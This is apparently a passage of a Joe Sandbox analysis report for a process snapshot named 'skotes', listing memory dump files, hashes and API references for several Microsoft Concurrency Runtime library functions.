Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 5f78cf1b18256c8563f98b54820d47ac8612807fb2ecf708fe9f389520c2e392
Instruction ID: 5eac0aa0de0f3894db177e58977a6bb085c6598b09232eb4267d73f2b13303c9
Opcode Fuzzy Hash: 5f78cf1b18256c8563f98b54820d47ac8612807fb2ecf708fe9f389520c2e392
Instruction Fuzzy Hash: 5721B031500B149FDB26EF65C8908ABF3F5FF48300700459EE442AB651DB74F905CB92

Function 00384885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00384893
ListArray.LIBCONCRT ref: 003848A5

Part of subcall function 00385555: _InternalDeleteHelper.LIBCONCRT ref: 00385564

ListArray.LIBCONCRT ref: 003848AF
_InternalDeleteHelper.LIBCONCRT ref: 003848C8

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: d791491ce2581ca7103aec04964b61394167b25a03f670398a4f1ca52fb04569
Instruction ID: 363cc588840509d6929d78ebcff23545e19f351e6fdeeeb778acdfbf67da9973
Opcode Fuzzy Hash: d791491ce2581ca7103aec04964b61394167b25a03f670398a4f1ca52fb04569
Instruction Fuzzy Hash: 0401D631600B22AFCA277F64D882E6DB76ABF857107010169F4455FA52CB21EC2197A0

Function 0038EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0038EE6A
ListArray.LIBCONCRT ref: 0038EE7C

Part of subcall function 0038EF29: _InternalDeleteHelper.LIBCONCRT ref: 0038EF3B

ListArray.LIBCONCRT ref: 0038EE86
_InternalDeleteHelper.LIBCONCRT ref: 0038EE9F

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: d726bf1dbcdd687109baebc0dc6d315ff8afd9d7e7388a7c74014fe367e7d70c
Instruction ID: f5da28f86e5c43789545ab0b5c415f7e3d3ea15517f3f2b64a3a939a964bb294
Opcode Fuzzy Hash: d726bf1dbcdd687109baebc0dc6d315ff8afd9d7e7388a7c74014fe367e7d70c
Instruction Fuzzy Hash: C3016231600721ABCA277B61D8C2E6ABB6ABF8471070600A9F5455B652CB25FC119BE0

Function 0038D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0038D0C5
ListArray.LIBCONCRT ref: 0038D0D7

Part of subcall function 0038C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0038C6C4

ListArray.LIBCONCRT ref: 0038D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0038D0FA

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 705b4667764f9ee8bcd590978ad7cda7abab440304d5c9afacefdcf3eb18de27
Instruction ID: 8a9ecfcdff0c9762203e22400ed37e5286bfb9670f3ba7a5f00f93e29586d9b0
Opcode Fuzzy Hash: 705b4667764f9ee8bcd590978ad7cda7abab440304d5c9afacefdcf3eb18de27
Instruction Fuzzy Hash: DE012631200221AFCA377B60D882E2DB76ABF847107055079F4449F682DF24AC5297E0

Function 003933C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 003933DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 003933EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00393407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0039341F

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 04f076d675c327776a055288cdcfce43f8dacfac95da2bc058be571a9bb98887
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 6D01D676700614A7CF17FE968841AEF77ADDF54350F110055FC12AF282DA71EE0097A0

Function 00389510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00389519

Part of subcall function 0037F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00385486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0038953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00389550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00389559

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
